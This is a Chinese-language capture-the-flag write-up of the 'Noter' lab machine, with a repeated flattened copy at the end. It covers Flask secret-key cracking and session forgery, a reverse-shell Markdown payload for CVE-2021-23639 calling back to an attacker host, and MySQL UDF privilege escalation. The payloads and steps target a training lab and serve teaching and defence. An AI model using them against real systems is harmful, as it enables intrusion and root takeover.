实战打靶之Noter
字数 1383 2025-08-12 11:34:50

Flask应用安全实战:Noter靶机渗透测试教学文档

1. 信息收集阶段

1.1 端口扫描与初步发现

使用nmap扫描目标主机,发现三个开放端口:

  • FTP (21端口):允许匿名登录
  • SSH (22端口)
  • HTTP (5000端口):运行Flask应用

1.2 FTP匿名登录

ftp <target_ip>
# 用户名输入"anonymous",密码可为空

发现FTP服务器允许匿名登录,可以查看和下载文件。

1.3 Web应用分析

访问http://<target_ip>:5000,发现一个基于Flask的Web应用:

  • 有登录/注册功能
  • 登录后重定向到/dashboard
  • 提供笔记添加功能(/add_note)
  • 笔记查看功能(/notes和/note/)

2. 漏洞发现与利用

2.1 JWT/Flask Cookie分析

Flask会话cookie类似于JWT,可以使用flask-unsign工具进行解码和破解。

2.1.1 解码cookie

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yxvarg.S9d5IqA4nL7CBjzYp4CfnG8IoLk'

2.1.2 暴力破解secret key

flask-unsign --unsign --cookie '<cookie_value>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval

成功获取secret key为"secret123"。

2.2 生成管理员cookie

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'

2.3 用户名枚举

2.3.1 使用自定义Python脚本枚举用户

#!/usr/bin/env python3
import hashlib
import sys
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import TimestampSigner, URLSafeTimedSerializer

if len(sys.argv) < 2:
    print(f"{sys.argv[0]} [wordlist]")
    sys.exit()

with open(sys.argv[1], 'r') as f:
    names = f.readlines()

for name in names:
    cookie = URLSafeTimedSerializer(
        secret_key='secret123',
        salt='cookie-session',
        serializer=TaggedJSONSerializer(),
        signer=TimestampSigner,
        signer_kwargs={
            'key_derivation': 'hmac',
            'digest_method': hashlib.sha1
        }
    )
    print(cookie.dumps({"logged_in": True, "username": name.strip()}))

2.3.2 使用wfuzz测试有效用户

wfuzz -c -z file,names.txt -H "Cookie: session=<generated_cookie>" --hl 302 http://<target_ip>:5000/dashboard

发现有效用户"blue"。

2.4 FTP管理员访问

从PDF文件中发现FTP管理员凭据:

  • 用户名:ftp_admin
  • 密码:Noter!

登录FTP并下载文件:

ftp <target_ip>
# 使用ftp_admin/Noter!登录

发现并下载两个zip文件,分析内容差异。

3. 代码分析与RCE漏洞利用

3.1 分析app.py差异

发现export_note_local和export_note_remote函数存在安全问题:

rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)

3.2 CVE-2021-23639漏洞利用

md-to-pdf包(<5.0.0)存在RCE漏洞,可通过Markdown注入JS代码。

3.2.1 创建恶意Markdown文件

---js
((require("child_process")).exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f"))
---

3.2.2 设置监听并触发漏洞

攻击者机器:

nc -lvnp <port>

通过Web应用的"Export"功能触发RCE,获取反向shell。

4. 权限提升

4.1 MySQL凭据发现

在代码中发现MySQL凭据:

  • 用户名:root
  • 密码:(从代码中获取)

4.2 MySQL UDF提权

4.2.1 检查MySQL运行状态

netstat -tulnp | grep mysql
ps aux | grep mysql

发现MySQL以root身份运行。

4.2.2 使用Raptor漏洞利用

  1. 下载并编译raptor_udf2.c:
searchsploit -m linux/local/1518.c
mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  1. 上传到目标机器

  2. MySQL中执行:

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod +s /bin/bash');
  1. 获取root shell:
bash -p

4.3 获取flag

cat /root/root.txt

5. 总结与安全建议

5.1 漏洞链总结

  1. Flask弱secret key导致会话伪造
  2. 用户名枚举漏洞
  3. FTP信息泄露导致管理员凭据暴露
  4. 代码中硬编码数据库凭据
  5. 不安全的子进程执行导致RCE
  6. MySQL以root运行且存在UDF提权漏洞

5.2 安全建议

  1. Flask安全配置

    • 使用强随机secret key
    • 禁用调试模式
    • 使用Flask-Talisman添加安全头
  2. 认证安全

    • 实现强密码策略
    • 防止用户名枚举
    • 使用多因素认证
  3. 代码安全

    • 避免使用shell=True执行命令
    • 使用参数化查询防止SQL注入
    • 定期更新依赖项
  4. 系统安全

    • 避免以root运行服务
    • 实施最小权限原则
    • 定期安全审计和渗透测试
  5. 信息保护

    • 避免硬编码凭据
    • 使用环境变量或密钥管理系统
    • 实施适当的文件权限
Flask应用安全实战:Noter靶机渗透测试教学文档 1. 信息收集阶段 1.1 端口扫描与初步发现 使用nmap扫描目标主机,发现三个开放端口: FTP (21端口):允许匿名登录 SSH (22端口) HTTP (5000端口):运行Flask应用 1.2 FTP匿名登录 发现FTP服务器允许匿名登录,可以查看和下载文件。 1.3 Web应用分析 访问http://<target_ ip>:5000,发现一个基于Flask的Web应用: 有登录/注册功能 登录后重定向到/dashboard 提供笔记添加功能(/add_ note) 笔记查看功能(/notes和/note/ ) 2. 漏洞发现与利用 2.1 JWT/Flask Cookie分析 Flask会话cookie类似于JWT,可以使用flask-unsign工具进行解码和破解。 2.1.1 解码cookie 2.1.2 暴力破解secret key 成功获取secret key为"secret123"。 2.2 生成管理员cookie 2.3 用户名枚举 2.3.1 使用自定义Python脚本枚举用户 2.3.2 使用wfuzz测试有效用户 发现有效用户"blue"。 2.4 FTP管理员访问 从PDF文件中发现FTP管理员凭据: 用户名:ftp_ admin 密码:Noter ! 登录FTP并下载文件: 发现并下载两个zip文件,分析内容差异。 3. 代码分析与RCE漏洞利用 3.1 分析app.py差异 发现export_ note_ local和export_ note_ remote函数存在安全问题: 3.2 CVE-2021-23639漏洞利用 md-to-pdf包( <5.0.0)存在RCE漏洞,可通过Markdown注入JS代码。 3.2.1 创建恶意Markdown文件 3.2.2 设置监听并触发漏洞 攻击者机器: 通过Web应用的"Export"功能触发RCE,获取反向shell。 4. 权限提升 4.1 MySQL凭据发现 在代码中发现MySQL凭据: 用户名:root 密码:(从代码中获取) 4.2 MySQL UDF提权 4.2.1 检查MySQL运行状态 发现MySQL以root身份运行。 4.2.2 使用Raptor漏洞利用 下载并编译raptor_ udf2.c: 上传到目标机器 MySQL中执行: 获取root shell: 4.3 获取flag 5. 总结与安全建议 5.1 漏洞链总结 Flask弱secret key导致会话伪造 用户名枚举漏洞 FTP信息泄露导致管理员凭据暴露 代码中硬编码数据库凭据 不安全的子进程执行导致RCE MySQL以root运行且存在UDF提权漏洞 5.2 安全建议 Flask安全配置 : 使用强随机secret key 禁用调试模式 使用Flask-Talisman添加安全头 认证安全 : 实现强密码策略 防止用户名枚举 使用多因素认证 代码安全 : 避免使用shell=True执行命令 使用参数化查询防止SQL注入 定期更新依赖项 系统安全 : 避免以root运行服务 实施最小权限原则 定期安全审计和渗透测试 信息保护 : 避免硬编码凭据 使用环境变量或密钥管理系统 实施适当的文件权限